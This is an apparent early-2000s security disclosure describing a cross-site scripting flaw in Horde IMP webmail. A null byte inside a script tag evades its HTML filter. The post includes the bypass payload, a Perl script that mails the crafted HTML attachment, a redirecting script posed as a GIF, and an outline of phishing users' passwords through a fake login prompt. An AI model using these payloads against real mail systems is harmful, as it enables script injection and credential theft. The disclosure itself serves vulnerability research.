hordeGraphic.txt

`Hello All,  
  
PRELUDE  
What is HORDE?  
http://www.horde.org/about/  
The Mission  
The Horde Project is about creating high quality Open Source applications, based on PHP and the Horde Framework.  
  
The guiding principles of the Horde Project are to create solid standards-based applications using intelligent  
object oriented design that, wherever possible, are designed to run on a wide range of platforms and backends.  
  
There is great emphasis on making Horde as friendly to non-English speakers as possible.  
The Horde Framework currently supports many localization features such as unicode  
and right-to-left text and generous users have contributed many translations for the framework and applications.  
  
http://www.horde.org/imp/about/  
Currently Horde Project boasts many applications, some already enterprise-ready and deployed in  
demanding environments, and some exciting new ones still in development.  
  
http://www.horde.org/imp/4.0/  
  
DESCRIPTION  
HORDE IMP is implementing a security strategy based on attempt to  
strip HTML tags it considers harmful. Before printing an attached  
file Horde will try to strip tags like <script>, <link> etc.  
I can almost see you growing bored at this point - the  
topic is so well-trodden, nevertheless I will continue.  
Those who is exploiting this bug now - don't be sorry for  
it going public - there are numerous but less apparent security issues  
with Horde Imp which will still allow you to achieve the same  
effect when the bug is fixed.  
The next part is going to be a short one, there is nothing  
to explain, the example is self-commented and well known:  
  
<s0x00hcript>alert('HORDE')</s0x00hcript>  
0x00h is an ASCII 00  
  
At this point the marvelous strategy of "stripping" will fail to  
strip <script> as well as the other arbitrary tags which are  
otherwise filtered rendering IMP into some moderate quality  
software. (Will work only for IE).  
  
One can devise various examples playing with unicode  
attachments and strings. Yes it looks like Horde doesn't not know how to  
handle utf16 attachments. As far as this direction is exploited - there is  
a wide playground for those, who are interested, in almost every  
line of Horde products.  
  
  
POC  
#  
# MIME::Liet SMTP client by C3PO  
#  
use strict;  
use MIME::Base64;  
use MIME::Lite;  
#----------------------------------------------------  
# load_file  
#----------------------------------------------------  
sub load_file{   
my($file) = shift;  
my($Body);  
open(IN, $file) || die("Can't open $file $!");  
binmode IN;  
read(IN, $Body, -s $file);   
close(IN);   
return $Body;  
}  
#----------------------------------------------------  
# main  
#----------------------------------------------------  
my $c = load_file('\Xploits\horder\passed.htm'); #content  
my $m = MIME::Lite->new(  
From =>'[email protected]',  
To =>'[email protected]',  
Subject =>'Horde',  
Date =>"Tue, 17 Dec 2002 22:00:02 +0300",  
Type =>"text/html",   
Data => $c,  
Filename=>"horde.html",  
Encoding =>'base64'  
);  
$m->attr('content-type.charset' => 'windows-1251'); #not necessary  
$m->send("smtp","smtp.domain.zone");  
  
  
passed.htm  
may contain an arbitrary HTML code and javascript, as long as IE is  
used to view an attachment.  
Just save some page and, using any HEX editor (preferable HIEW,  
of course) insert  
<s0x00hcript>alert('HORDE')</s0x00hcript>  
in it.  
Attach this file, send it on your mail and view via IMP Webmail using IE.  
  
  
Yes, your guess is a correct one, image attachments are all so  
affected:  
  
test.gif  
<script language=javascript>  
alert('GIF');  
document.location.href='http://i3.microsoft.com/h/en-us/i/one_care_2_10.jpg';  
</script>  
  
Attach this gif and try to view it in Horde Imp. Never ever give  
direct links on images in your software, especially when the images  
are not checked. (IE behavior)  
  
Given this mechanism an attacker may easily steal  
user password by devising a DHMTL attachment which will obfuscate user  
input, i.e. impersonating the server it will raise an Apache  
authorization window and give some "Your password is expired" crap.  
The example is not provided.  
  
Yet a closer introspection into the source codes and algorithms may  
reveal some other interesting yet questionable strategies which I  
leave for you to mess with.  
  
--  
Best regards  
  
  
`